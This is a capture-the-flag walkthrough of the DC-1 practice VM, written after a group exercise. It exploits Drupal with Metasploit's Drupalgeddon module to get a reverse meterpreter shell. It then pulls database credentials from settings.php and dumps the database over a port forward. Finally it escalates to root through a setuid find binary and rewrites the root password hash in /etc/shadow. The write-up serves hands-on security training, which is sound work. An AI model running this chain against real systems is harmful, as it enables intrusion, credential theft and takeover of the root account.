DC919 CTF exercise night using "DC-1" prebuilt VM image
SPOILER ALERT: This document is intended to be a walk-through, so if you want to do this CTF challenge honestly, close this page now.
The following is the result of a group effort during a CTF conf call. There were a bunch of people present on the call, and if they ask me to I'll happily list them here. We share lots of tricks during these calls, everyone contributes and we all come out of it smarter.
In this case the VMs have the following IPs:
Info gathered 192.168.57.5: nmap finds 22,80, browser shows a drupal site.
Because metasploit has a few drupal exploits pre-loaded, we can try those first. Spawn the Metasploit console with "msfconsole" and let it initialize: this can take a few minutes, it has to load a number of scripts and modules. Once loaded, we'll "search" for drupal related exploits:
msf5 > search drupal
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Yes Drupal OpenID External Entity Injection
2 auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Yes Drupal Views Module Users Enumeration
3 exploit/multi/http/drupal_drupageddon 2014-10-15 excellent No Drupal HTTP Parameter Key/Value SQL Injection
4 exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Yes Drupal CODER Module Remote Command Execution
5 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
6 exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Yes Drupal RESTWS Module Remote PHP Code Execution
7 exploit/unix/webapp/drupal_restws_unserialize 2019-02-20 normal Yes Drupal RESTful Web Services unserialize() RCE
8 exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent Yes PHP XML-RPC Arbitrary Code Execution
Looks like a few, we can start going through them one by one: the basic recipe for using simple exploits is the same each time. "use" the desired exploit, show and then set options specific to the exploit, then "run"/"exploit". We can set global variables with "setg", and it is helpful to do so for one particular variable named "RHOSTS" which most plugins make use of.
msf5 > setg RHOSTS 192.168.57.5
RHOSTS => 192.168.57.5
msf5 > set
Global
======
Name Value
---- -----
RHOSTS 192.168.57.5
Let's start with the first exploit listed (note: not the auxiliary/ gathering or scanning tools, but the first exploit/ entry):
msf5 > use exploit/multi/http/drupal_drupageddon
msf5 exploit(multi/http/drupal_drupageddon) > options
Module options (exploit/multi/http/drupal_drupageddon):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.57.5 yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Drupal installation
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Drupal 7.0 - 7.31 (form-cache PHP injection method)
msf5 exploit(multi/http/drupal_drupageddon) > exploit
[*] Started reverse TCP handler on 192.168.57.6:4444
[*] Sending stage (38247 bytes) to 192.168.57.5
[*] Meterpreter session 1 opened (192.168.57.6:4444 -> 192.168.57.5:37865) at 2019-08-10 01:40:50 +0000
meterpreter >
Uhh.. ok, wow, that was a lot easier than expected. We've already gained a valid meterpreter session. This means we have a reverse shell, we just need to open it.
From a meterpreter session, you can run "help" and get an idea what is available, some of the important highlights: "bg", "shell", "portfwd". Meterpreter can do an awful lot, though, and it's worth reading more about it. For now, we're just going to do the easy thing and take control of our already acquired reverse shell:
meterpreter > shell
Process 3654 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Easy enough, now we have a pretty standard PTY-less shell with no prompt, no terminal handling, no pty, etc. A trick to correct a few of those items:
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@DC-1:/var/www$
Now we've got a pretty legitimate and usable shell. Not perfect and still lacking some terminal handling, but we can do a lot of exploring.
www-data@DC-1:/var/www$ ls
ls
COPYRIGHT.txt LICENSE.txt cron.php misc sites
INSTALL.mysql.txt MAINTAINERS.txt flag1.txt modules themes
INSTALL.pgsql.txt README.txt includes profiles update.php
INSTALL.sqlite.txt UPGRADE.txt index.php robots.txt web.config
INSTALL.txt authorize.php install.php scripts xmlrpc.php
Well.. what is this? flag1.txt already?
www-data@DC-1:/var/www$ cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you.
Good hint, we need to find the Drupal config file(s). Usually database credentials are stored in those, and often other helpful config items. Drupal has a few possibilities, but we'll go for the easy one first:
www-data@DC-1:/var/www$ cat sites/default/settings.php
cat sites/default/settings.php
<?php
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
...[snip]
There's flag2, along with some database credentials we can use to explore some more. Let's grab a dump of the database to sift through. We can do it on the target VM or we can portfwd using Meterpreter magic and do it on our Kali VM. Because there's more to learn by port forwarding even in this unnecessary case, let's do that. If you Ctrl+C while in the reverse shell you'll get a prompt to terminal the channel, we can just hit enter there and it doesn't terminate but returns us to the meterpreter shell:
www-data@DC-1:/var/www$ ^C
Terminate channel 1? [y/N]
[-] core_channel_interact: Operation failed: 1
meterpreter >
From there, let's add a portfwd (very similar to doing this with ssh -L):
meterpreter > help portfwd
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
-R Indicates a reverse port forward.
-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the "list" command).
-l <opt> Forward: local port to listen on. Reverse: local port to connect to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
-r <opt> Forward: remote host to connect to.
meterpreter > portfwd add -l 3306 -p 3306 -r 127.0.0.1
[*] Local TCP relay created: :3306 <-> 127.0.0.1:3306
Now from our kali VM, we can mysqldump away:
root@kali:~# mysqldump -u dbuser --password=R0ck3t -h 127.0.0.1 drupaldb >drupaldb.sql
root@kali:~# ls -lh drupaldb.sql
-rw-r--r-- 1 root root 11M Aug 10 02:05 drupaldb.sql
Might as well have a quick look for easy targets:
root@kali:~# egrep -i 'flag[0-9]' drupaldb.sql | wc -l
5
root@kali:~# egrep -i 'flag[0-9]' drupaldb.sql | less -X
INSERT INTO `node` VALUES (1,1,'page','und','Main',2,1,1550582250,1550582250,0,0,0,0,0),(2,2,'page','und','flag3',1,0,1550582412,1550583860,0,0,0,0,0);
INSERT INTO `node_revision` VALUES (1,1,2,'Main','',1550582250,1,0,0,0),(2,2,1,'flag3','',1550583860,0,0,0,0);
INSERT INTO `search_dataset` VALUES (1,'node',' main lorem ipsum dolor sit amet consectetur adipiscing elit .........',0),(2,'node',' flag3 special perms will help find the passwd but you ll need to exec that command to work out how to get what s in the shadow ',0);
Output slightly truncated, but there's flag3: "special perms will help find the passwd but you ll need to exec that command to work out how to get what s in the shadow". Another good hint, maybe.
How many flags are there, anyway? Let's see what else we find on the filesystem. Usually /home is a juicy target, if we have any read permissions:
meterpreter > shell
Process 3120 created.
Channel 1 created.
www-data@DC-1:/var/www$ find / -iname "*flag*.txt"
find / -iname "*flag*.txt"
/home/flag4/flag4.txt
/var/www/flag1.txt
/root/thefinalflag.txt
Wait.. what? /root/thefinalflag.txt? We're nearly there!
www-data@DC-1:/var/www$ ls -l /root/thefinalflag.txt
ls -l /root/thefinalflag.txt
ls: cannot access /root/thefinalflag.txt: Permission denied
www-data@DC-1:/var/www$ ls -ld /root
ls -ld /root
drwx------ 4 root root 4096 Aug 10 11:52 /root
Not so simple. But why can find(1) even see /root/thefinalflag.txt ?
www-data@DC-1:/var/www$ ls -l $(which find)
ls -l $(which find)
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
So find(1) is setuid-root: what a terrible mistake for this sysadmin to make. Let's grab flag4.txt (seen in find(1) output above), then thefinalflag.txt:
www-data@DC-1:/var/www$ cat /home/flag4/flag4.txt
cat /home/flag4/flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
www-data@DC-1:/var/www$ find /root/thefinalflag.txt -exec cat {} \;
find /root/thefinalflag.txt -exec cat {} \;
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
So using setuid-root find(1) with -exec can get us anywhere on the filesystem, but can it also get a shell?:
www-data@DC-1:/var/www$ find /root -exec /bin/sh \;
find /root -exec /bin/sh \;
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
Kind of! Notice that we're now euid=0, which is effectively root. If we want to go another step, let's take full control:
# grep -i Rootlogin /etc/ssh/sshd_config
PermitRootLogin yes
Well, that should make this easy, we don't even have to reconfigure sshd in place, lets change the root password to something we know:
# sed -i 's@$6$rhe3rFqk$NwHzwJ4H7abOFOM67.Avwl3j8c05rDVPqTIvWg8k3yWe99pivz/96.K7IqPlbBCmzpokVmn13ZhVyQGrQ4phd/@$6$4r6ZM1N7$DiQ8YCGVxqu1ko1mGALrUJJnmNNYDOPrcq.wHqQRkX7Bw9I7VxGY4d2lxlDlKb8RnhctoMseVjyLW7Tcp2RJk/@' /etc/shadow
This uses a couple tricks with sed: -i (in-place editing) as well as using a nonstandard separator (@) as a separator, since our target string has / in it and I don't feel like escaping things inside password hashes. Using @ only works because it does not appear in either the src or dst string(hash).
This hash happens to be "fuckyeah", so go ahead and ssh root@dc1vm and login with "fuckyeah".
root@DC-1:~# id uid=0(root) gid=0(root) groups=0(root)